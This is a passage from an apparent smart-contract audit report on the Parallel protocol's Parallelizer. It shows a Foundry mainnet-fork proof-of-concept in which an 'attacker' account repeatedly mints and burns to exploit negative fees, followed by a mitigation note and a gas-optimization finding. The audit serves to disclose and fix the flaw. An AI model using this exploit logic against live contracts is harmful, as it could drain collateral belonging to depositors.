  _logAmount("Cost for +10k sUSDe at break-even.: ", quoteAtBreakEven, chosenDecimals);
  _logAmount("Baseline +10k sUSDe cost..........: ", quoteTopUpBeforeRebalance, chosenDecimals);
  // Exposure checkpoints from sUSDe mint curve: xFee [0.94, 0.95]
  _logAmount("x at 95% exposure (analytic)......: ", 21_052_631578947368421053, 18);
  _logAmount("x at 94% exposure (analytic)......: ", 25_531_914893617021276595, 18);

  assertGt(
    quoteTopUpBeforeRebalance, quoteAtBreakEven, "break-even second mint should lower next small sUSDe
    ↪  mint cost"
  );
}

function test_cyfrin_mainnetFork_logAllCollateralFeeCurves() external view {
  console.log("=== Mainnet fork collateral fee curves ===");
  console.log("Fork block:", FORK_BLOCK);
  console.log("Parallelizer:", PARALLELIZER_USDP);
  console.log("");

  address[] memory collaterals = parallelizer.getCollateralList();
  for (uint256 i; i < collaterals.length; ++i) {
    address collateral = collaterals[i];
    (uint64[] memory xMint, int64[] memory yMint) = parallelizer.getCollateralMintFees(collateral);
    (uint64[] memory xBurn, int64[] memory yBurn) = parallelizer.getCollateralBurnFees(collateral);

    console.log("Collateral:", collateral);
    console.log("Symbol:", IERC20Metadata(collateral).symbol());
    console.log(string.concat("xFeeMint (1e9 exposure)........: ", _formatUint64_1e9_Array(xMint)));
    console.log(string.concat("yFeeMint (1e9 fee)............: ", _formatInt64_1e9_Array(yMint)));
    console.log(string.concat("xFeeBurn (1e9 exposure)........: ", _formatUint64_1e9_Array(xBurn)));
    console.log(string.concat("yFeeBurn (1e9 fee)............: ", _formatInt64_1e9_Array(yBurn)));
    console.log("");
  }
}

function _burnAsAttacker(uint256 amountIn, address collateral) internal returns (uint256 out) {
  vm.startPrank(attacker);
  out = parallelizer.swapExactInput(amountIn, 0, address(usdp), collateral, attacker, block.timestamp
  ↪  + 1 days);
  vm.stopPrank();
}

function _mintExactOutAsAttacker(uint256 amountOut, address collateral) internal returns (uint256
↪  spent) {
  uint256 quoteIn = parallelizer.quoteOut(amountOut, collateral, address(usdp));
  uint8 dec = IERC20Metadata(collateral).decimals();
  uint256 padding = 10 ** dec;
  deal(collateral, attacker, IERC20(collateral).balanceOf(attacker) + quoteIn + padding, true);
```

```
  vm.startPrank(attacker);
  IERC20(collateral).approve(PARALLELIZER_USDP, type(uint256).max);
  spent = parallelizer.swapExactOutput(
    amountOut, type(uint256).max, collateral, address(usdp), attacker, block.timestamp + 1 days
  );
  vm.stopPrank();
}

function _maxBurnable(address collateral, uint256 upper) internal returns (uint256) {
  if (upper == 0) return 0;
  if (_canBurn(upper, collateral)) return upper;

  uint256 low;
  uint256 high = upper;
  while (low < high) {
    uint256 mid = (low + high + 1) / 2;
    if (_canBurn(mid, collateral)) low = mid;
    else high = mid - 1;
  }
  return low;
}

function _canBurn(uint256 amountIn, address collateral) internal returns (bool ok) {
  uint256 snap = vm.snapshotState();
  try this._tryBurn(amountIn, collateral) returns (uint256) {
    ok = true;
  } catch {
    ok = false;
  }
  vm.revertToState(snap);
}

function _tryBurn(uint256 amountIn, address collateral) external returns (uint256 out) {
  vm.startPrank(attacker);
  out = parallelizer.swapExactInput(amountIn, 0, address(usdp), collateral, attacker, block.timestamp
  ↪  + 1 days);
  vm.stopPrank();
}

function _findCollateralBySymbol(string memory symbol) internal view returns (address) {
  address[] memory collaterals = parallelizer.getCollateralList();
  for (uint256 i; i < collaterals.length; ++i) {
    if (_eq(IERC20Metadata(collaterals[i]).symbol(), symbol)) return collaterals[i];
  }
  revert("collateral symbol not found");
}

function _eq(string memory a, string memory b) internal pure returns (bool) {
  return keccak256(bytes(a)) == keccak256(bytes(b));
}

function _quoteTopUpAfterFrxMint(address susde, address frxUsd, uint256 frxUsdMintTarget, uint256
↪  susdeTopUp)
  internal
  returns (uint256 quote)
{
  uint256 snap = vm.snapshotState();
  _mintExactOutAsAttacker(frxUsdMintTarget, frxUsd);
  quote = parallelizer.quoteOut(susdeTopUp, susde, address(usdp));
  vm.revertToState(snap);
}
```

```
  function _findBreakEvenFrxUsdForZeroFeeQuote(
    address susde,
    address frxUsd,
    uint256 susdeTopUp,
    uint256 zeroFeeReferenceQuote,
    uint256 searchUpper
  )
    internal
    returns (uint256)
  {
    uint256 low;
    uint256 high = searchUpper;
    while (low < high) {
      uint256 mid = (low + high) / 2;
      uint256 quoteMid = _quoteTopUpAfterFrxMint(susde, frxUsd, mid, susdeTopUp);
      if (quoteMid <= zeroFeeReferenceQuote) high = mid;
      else low = mid + 1;
    }
    return low;
  }

  function _logAmount(string memory label, uint256 amount, uint8 decimals) internal pure {
    console.log(string.concat(label, "  ", DecimalString.formatFixed(amount, decimals)));
  }

  function _formatAmountArray(uint256[] memory values, uint256 len, uint8 decimals) internal pure
  ↪  returns (string memory) {
    bytes memory out = abi.encodePacked("[");
    for (uint256 i; i < len; ++i) {
      out = abi.encodePacked(out, DecimalString.formatFixed(values[i], decimals));
      if (i + 1 < len) out = abi.encodePacked(out, ", ");
    }
    out = abi.encodePacked(out, "]");
    return string(out);
  }

  function _formatUint64_1e9_Array(uint64[] memory values) internal pure returns (string memory) {
    bytes memory out = abi.encodePacked("[");
    for (uint256 i; i < values.length; ++i) {
      out = abi.encodePacked(out, DecimalString.formatFixed(uint256(values[i]), 9));
      if (i + 1 < values.length) out = abi.encodePacked(out, ", ");
    }
    out = abi.encodePacked(out, "]");
    return string(out);
  }

  function _formatInt64_1e9_Array(int64[] memory values) internal pure returns (string memory) {
    bytes memory out = abi.encodePacked("[");
    for (uint256 i; i < values.length; ++i) {
      int64 v = values[i];
      if (v < 0) out = abi.encodePacked(out, "-");
      uint256 absV = uint256(v < 0 ? int256(-v) : int256(v));
      out = abi.encodePacked(out, DecimalString.formatFixed(absV, 9));
      if (i + 1 < values.length) out = abi.encodePacked(out, ", ");
    }
    out = abi.encodePacked(out, "]");
    return string(out);
  }
}
```

Recommended Mitigation: Consider documenting this behavior. Before setting up negative fees, test extensively considering this behavior to verify not extraction is possible by pulling off this attack and abusing the negative fees

to slowly drain the collateral out of the system

Parallel: Acknowledged

Cyfrin: Added an operational note on the executive summary about this behavior

7.5 Gas Optimization

7.5.1 Implement fail-fast mechanism in `_quoteBurnExact` functions for collateral availability check

Description: In the `Swapper` contract, the `_quoteBurnExactInput` and `_quoteBurnExactOutput` functions compute the expected output or input amounts for burning `USDP` (the stablecoin tokenP) in exchange for collateral without first verifying if the computed collateral amount is actually available for withdrawal.

This can lead to unnecessary gas consumption when the swap would ultimately revert due to insufficient available collateral (e.g., in managed collaterals where LibManager.maxAvailable is less than the required amount).

By moving the `_checkAmounts` call into the quote functions as a fail-fast mechanism, we can revert early if the collateral is unavailable, saving gas on invalid transactions. This is particularly beneficial for managed collaterals, where availability might be limited by external strategies.

Recommended Mitigation:

1. In `Swapper::_quoteBurnExactOutput`

```
function _quoteBurnExactOutput(address tokenOut, Collateral storage collatInfo, uint256 amountOut)
↪  internal view returns (uint256 amountIn) {
    // Add fail-fast check at the start
+   _checkAmounts(tokenOut, collatInfo, amountOut);
    ...
}
```

2. In `Swapper::_quoteBurnExactInput`

```
function _quoteBurnExactInput(address tokenOut, Collateral storage collatInfo, uint256 amountIn)
↪  internal view returns (uint256 amountOut) {
    ...
    // Add fail-fast check at the end
+   _checkAmounts(tokenOut, collatInfo, amountOut);
}
```

3. Functions like `quoteIn` and `quoteOut` can remove the call to `_checkAmounts`, given that such a call would have already been performed inside the `_quoteBurnExact` functions.

Parallel: Acknowledged